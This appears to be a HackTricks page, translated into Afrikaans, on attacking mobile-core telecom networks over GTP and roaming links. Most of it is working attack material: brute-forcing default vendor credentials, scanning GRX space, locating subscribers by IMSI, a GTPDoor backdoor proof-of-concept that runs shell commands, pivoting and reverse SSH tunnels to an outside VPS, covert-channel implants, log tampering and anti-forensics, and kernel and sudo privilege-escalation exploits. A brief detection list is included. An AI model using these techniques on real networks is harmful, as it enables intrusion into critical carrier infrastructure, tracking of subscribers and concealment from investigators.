Telekom Netwerk Exploitatie (GTP / Roaming Omgewings)
Reading time: 6 minutes
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
note
Mobiele-kern protokolle (GPRS Tunneling Protocol – GTP) beweeg dikwels oor semi-vertroude GRX/IPX roaming rugsteun. Omdat hulle op gewone UDP loop met byna geen verifikasie nie, kan enige voetstuk binne 'n telekomperimeter gewoonlik direk toegang tot kern seinvlakke verkry. Die volgende notas versamel offensiewe truuks wat in die natuur teen SGSN/GGSN, PGW/SGW en ander EPC nodes waargeneem is.
1. Recon & Begin Toegang
1.1 Standaard OSS / NE Rekeninge
'n Verrassend groot stel verskaffer netwerk elemente word met hard-gecodeerde SSH/Telnet gebruikers soos root:admin
, dbadmin:dbadmin
, cacti:cacti
, ftpuser:ftpuser
, … verskaf. 'n Toegewyde woordlys verhoog die sukses van brute-force aanslae dramaties:
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
As die toestel slegs 'n bestuurs-VRF blootstel, draai eers deur 'n springgas (jump host) (sien afdeling «SGSN Emu Tunnel» hieronder).
1.2 Gasheer Ontdekking binne GRX/IPX
Meeste GRX-operateurs laat steeds ICMP echo oor die rugsteun toe. Kombineer masscan
met die ingeboude gtpv1
UDP-probes om vinnig GTP-C luisteraars te karteer:
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
2. Opname van Subscribers – cordscan
Die volgende Go-instrument vervaardig GTP-C Create PDP Context Request pakkette en log die antwoorde. Elke antwoord onthul die huidige SGSN / MME wat die gevraagde IMSI bedien en, soms, die subscriber se besoekte PLMN.
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
Belangrike vlae:
--imsi
Teiken abonnee IMSI--oper
Tuis / HNI (MCC+MNC)-w
Skryf rou pakkette na pcap
Belangrike konstantes binne die binêre kan gepatch word om skande te verbreed:
pingtimeout = 3 // seconds before giving up
pco = 0x218080
common_tcp_ports = "22,23,80,443,8080"
3. Kode-uitvoering oor GTP – GTPDoor
GTPDoor
is 'n klein ELF-diens wat UDP 2123 bind en elke inkomende GTP-C-pakket ontleed. Wanneer die payload met 'n vooraf gedeelde etiket begin, word die oorblywende gedeeltes ontsleutel (AES-128-CBC) en uitgevoer via /bin/sh -c
. Die stdout/stderr word binne Echo Response boodskappe uitgevoer sodat daar nooit 'n uitgaande sessie geskep word nie.
Minimale PoC-pakket (Python):
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
Detection:
- enige gasheer wat ongebalanseerde Echo Versoeke na SGSN IP's stuur
- GTP weergawe vlag op 1 gestel terwyl boodskap tipe = 1 (Echo) – afwyking van spesifikasie
4. Pivoting Deur die Kern
4.1 sgsnemu
+ SOCKS5
OsmoGGSN
verskaf 'n SGSN-emulator wat in staat is om 'n PDP-konteks na 'n werklike GGSN/PGW te vestig. Sodra dit onderhandel is, ontvang Linux 'n nuwe tun0
koppelvlak wat bereikbaar is vanaf die roaming-peer.
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 & # internal SOCKS proxy
Met behoorlike firewall hair-pinning, omseil hierdie tonnel slegs signalering VLANs en land jy direk in die data plane.
4.2 SSH Terugtonnel oor Poort 53
DNS is byna altyd oop in roaming infrastruktuur. Stel 'n interne SSH-diens bloot aan jou VPS wat luister op :53 en keer later terug van huis:
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
Kontroleer dat GatewayPorts yes
op die VPS geaktiveer is.
5. Verborgen Kanale
Kanaal | Vervoer | Dekodering | Aantekeninge |
---|---|---|---|
ICMP – EchoBackdoor | ICMP Echo Req/Rep | 4-byte sleutel + 14-byte stukke (XOR) | suiwer passiewe luisteraar, geen uitgaande verkeer |
DNS – NoDepDNS | UDP 53 | XOR (sleutel = funnyAndHappy ) gekodeer in A-record oktette | kyk vir *.nodep sub-domein |
GTP – GTPDoor | UDP 2123 | AES-128-CBC blob in private IE | meng met wettige GTP-C geselskap |
Alle implante implementeer wagte wat timestomp hul binaire en herlaai as dit gebroke is.
6. Verdediging Ontduiking Cheatsheet
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
# Disable bash history
export HISTFILE=/dev/null
# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup # hide from top/htop
printf '\0' > /proc/$$/comm # appears as [kworker/1]
touch -r /usr/bin/time /usr/bin/chargen # timestomp
setenforce 0 # disable SELinux
7. Bevoegdheidstoename op Erfenis NE
# DirtyCow – CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
# PwnKit – CVE-2021-4034
python3 PwnKit.py
# Sudo Baron Samedit – CVE-2021-3156
python3 exploit_userspec.py
Skoonmaakwenk:
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c
8. Gereedskapkas
cordscan
,GTPDoor
,EchoBackdoor
,NoDepDNS
– pasgemaakte gereedskap beskryf in vorige afdelings.FScan
: intranet TCP sweeps (fscan -p 22,80,443 10.0.0.0/24
)Responder
: LLMNR/NBT-NS rogue WPADMicrosocks
+ProxyChains
: liggewig SOCKS5 pivotingFRP
(≥0.37) : NAT traversie / bates bridging
Opsporingsidees
- Enige toestel anders as 'n SGSN/GGSN wat Create PDP Context Requests opstel.
- Nie-standaard poorte (53, 80, 443) wat SSH handdrukke ontvang van interne IP's.
- Frekwente Echo Versoeke sonder ooreenstemmende Echo Antwoorde – kan GTPDoor bakens aandui.
- Hoë tempo van ICMP echo-antwoorde verkeer met groot, nie-nul identifiseerder/volgorde velde.
Verwysings
- Palo Alto Unit42 – Infiltratie van Globale Telekomnetwerke
- 3GPP TS 29.060 – GPRS Tunnelling Protocol (v16.4.0)
- 3GPP TS 29.281 – GTPv2-C (v17.6.0)
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.